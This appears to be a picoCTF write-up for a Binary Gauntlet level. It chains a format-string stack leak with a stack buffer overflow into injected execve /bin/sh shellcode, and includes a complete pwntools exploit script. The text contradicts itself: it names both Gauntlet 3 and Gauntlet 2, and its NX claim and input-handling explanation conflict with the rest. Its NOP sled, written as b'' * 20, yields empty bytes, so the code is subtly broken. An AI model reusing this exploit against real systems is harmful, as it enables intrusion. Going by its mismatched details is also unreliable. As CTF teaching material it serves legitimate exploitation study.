Description
Level 3 of Binary Gauntlet. NX is disabled so the stack is executable, but ASLR is on, which means the stack moves every run. Use the format string vulnerability to leak a stack address, compute where your buffer landed, then overflow the return address to jump straight to your shellcode.
Setup
Download the binary, make it executable, and check its mitigations with checksec.
wget <url>/vulnchmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Check mitigations and understand the two bugs
ObservationThe description mentions NX disabled and an unbounded strcpy. Confirm both with checksec before committing to shellcode injection over ret2libc.Run checksec to confirm NX is disabled, no stack canary is present, and PIE is off. The binary has two classic vulnerabilities: printf(s) with no format specifier, and an unbounded strcpy into a 104-byte stack buffer. The overflow offset from the start of the buffer to the saved return address is 120 bytes.bashchecksec --file=./vulnbash# Expected: NX disabled, No canary, No PIEWhat didn't work first
Tried: Assume NX is enabled and jump straight to planning a ret2libc attack based on the category label alone.
checksec shows NX disabled on this binary. Ret2libc is what you reach for when NX is on and stack data cannot execute. With NX off, shellcode injection is simpler and more direct, and ret2libc only adds work: calling system() would need a libc base leak you have no reason to obtain here.
Tried: Trust the local offset (0x168) when running against the remote instance.
The remote server has a different environment variable layout and argument count, which shifts the stack relative to the leaked pointer. Use 0x168 remotely and the computed buffer address comes out 0x10 too high, landing mid-sled at best and in garbage at worst. Verify the offset constant against the actual target environment.
Learn more
Why NX matters here. NX (Non-eXecute) marks the stack as non-executable. When NX is off, bytes you write into a stack buffer are treated as valid machine code by the CPU. This makes shellcode injection the simplest path: put your shellcode in the buffer, then redirect the return address to it. On Gauntlet 3 NX is enabled, which closes this door and forces a ret2libc approach instead.
The two bugs. First,
printf(s)passes your input directly as the format string instead of usingprintf("%s", s). Any format specifiers in your input are interpreted by printf, letting you read values off the stack. Second,strcpy(dest, s)copies your input into a 104-byte buffer without any length check, so sending 120+ bytes overwrites the saved return address.Why ASLR still matters. Even with NX off, ASLR randomizes the stack base every run. You cannot hardcode your buffer's address because it changes. The format string leak exists precisely to defeat this: one run reads the current stack address from printf, and you compute your buffer's exact location from it before sending the overflow payload.
Step 2Leak a stack address with %6$p
ObservationThe binary calls printf(s) with no format specifier, which is a format string bug. Use it to leak a stack pointer and defeat ASLR before attempting the overflow.Send the string '%6$p' (or a run of '%p.' separators) as input to the format string bug. On this binary, position 6 holds a stack pointer that sits a constant 0x168 bytes above the start of the destination buffer locally (0x158 on the remote). Capture that value and subtract the offset to compute the exact runtime address of the buffer.bashecho '%p.%p.%p.%p.%p.%p.' | ./vuln # print first six stack valuesbashecho '%6$p' | ./vuln # print position 6 aloneWhat didn't work first
Tried: Use %s instead of %p to read stack values during the leak probe.
%s makes printf dereference the stack value as a char pointer and print the string there, so if that value is not readable memory the process segfaults immediately. %p prints the raw pointer in hex, which is what computing the buffer address needs. Never use %s to leak an address.
Tried: Assume position 6 holds the buffer address directly and skip computing an offset.
The value at position 6 is a saved stack pointer from a calling frame, not a pointer to your input buffer. The two sit a constant offset apart, 0x158 remote and 0x168 local, which has to be subtracted. Treat the raw leak as the buffer address and the return address lands in an unrelated stack region, giving a segfault or a jump into unmapped memory.
Learn more
How printf reads its arguments. On x86-64, the first five variadic arguments come from registers (
rsi, rdx, rcx, r8, r9), and then printf falls back to the stack. So%6$preads the value sitting at[rsp], the first stack slot beyond the register arguments. On this binary that slot holds a saved frame pointer or stack pointer that happens to be a fixed offset above your input buffer.printf("%1$p %2$p %3$p %4$p %5$p %6$p") | | | | | | rsi rdx rcx r8 r9 [rsp] <- stack value herePositional specifiers (
%N$p) let you pick a specific argument slot without consuming preceding ones. They are part of POSIX but work in glibc printf. Using them you can probe any stack slot without having to pad with dummy%pspecifiers.Finding the constant offset. Run the exploit locally, print the leaked value and the address of the buffer (from GDB or by temporarily printing it in the binary), and compute their difference. On this challenge the difference is 0x168 locally and 0x158 on the remote server. These differ because the remote environment has a slightly different stack layout (different environment variables or arguments), so always verify against the remote.
Step 3Build the shellcode payload and overflow the return address
ObservationThe leaked stack pointer sits at a fixed offset from the 104-byte buffer, and NX is off. So build a NOP sled plus execve shellcode and overwrite the return address slot at 120 with the computed buffer address.With the buffer address in hand, craft a payload: 20 bytes of NOP instructions (0x90) as a landing sled, followed by a 24-byte x86-64 execve shellcode that spawns /bin/sh, then padding with more NOPs to reach byte 120, and finally the 8-byte little-endian buffer address to overwrite the saved return address. Aim the return address at the start of your NOP sled.pythonpython3 - <<'EOF' from pwn import * e = ELF('./vuln') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # Step 1: leak the stack address via the format string bug p.sendline(b'%6$p') leaked = int(p.recvline().strip(), 16) # Step 2: compute where the input buffer starts # The leaked value is 0x158 above the buffer on the remote buf_addr = leaked - 0x158 log.info(f"Leaked stack value: {hex(leaked)}") log.info(f"Computed buffer address: {hex(buf_addr)}") # Step 3: build the payload # [20 NOPs] + [shellcode ~24 bytes] + [padding to 120] + [buf_addr] shellcode = asm(shellcraft.amd64.linux.sh()) # pwntools built-in execve shellcode nop_sled = b'' * 20 padding = b'' * (120 - len(nop_sled) - len(shellcode)) payload = nop_sled + shellcode + padding + p64(buf_addr) p.sendline(payload) p.interactive() EOFExpected output
picoCTF{...}What didn't work first
Tried: Aim the return address at buf_addr + 20 to skip straight to the shellcode and omit the NOP sled entirely.
Without a NOP sled the return address has to be byte-perfect, and a single byte of error lands mid-instruction, giving an illegal opcode fault or executing garbage. A 20-byte sled gives you a 20-byte window of acceptable landing addresses, which matters when the offset constant is slightly uncertain between local and remote.
Tried: Send both the leak probe and the overflow payload in a single sendline call combined with a format specifier prefix.
The program passes your input to printf first, which is the leak, then passes a second input to strcpy, which is the overflow. Combine them into one line and printf reads the overflow bytes as format string data, corrupting the output so you cannot parse the leaked address. The script uses two sendline calls because these are two distinct program interactions.
Learn more
NOP sled purpose. A NOP (0x90) instruction does nothing except advance the instruction pointer by one byte. A sled of NOPs before the shellcode means the return address only needs to land anywhere inside the sled to slide into the shellcode. This forgives small miscalculations in the offset constant.
Stack layout at the moment
vuln()returns:low addr -> buf[0] : 0x90 0x90 ... (NOP sled, 20 bytes) buf[20] : shellcode (execve /bin/sh, ~24 bytes) buf[44..] : 0x90 0x90 ... (padding to offset 120) buf[120] : &buf[0] in little-endian (8 bytes) ^-- overwrites saved return address high addrWhen
vuln()executesret, it pops the saved return address (now&buf[0]) intoripand jumps there. The CPU begins executing the NOP sled, slides into the shellcode, and runsexecve("/bin/sh", NULL, NULL)to give you a shell.Why two separate inputs. The program reads your input once, passes it to
printf(the leak), then callsstrcpyinto the buffer (the overflow). Because the program reads one line and uses it twice, you send the leak probe and the overflow payload as two separatesendlinecalls - the first for the format string stage, the second for the overflow stage. If the program only reads once and does both immediately, combine them into a single payload.See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full workflow behind these techniques.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{...}
NX is disabled on Gauntlet 2, so the stack is executable. The format string bug (printf without a specifier) leaks a stack address at position 6 (%6$p). Subtract 0x158 (remote) or 0x168 (local) to find the buffer, inject execve shellcode with a NOP sled, and overflow the return address with the computed buffer address. The flag is a fully randomized per-instance 32-char hex hash (format: picoCTF{<32 hex chars>}); run the exploit against your assigned instance to retrieve your exact flag.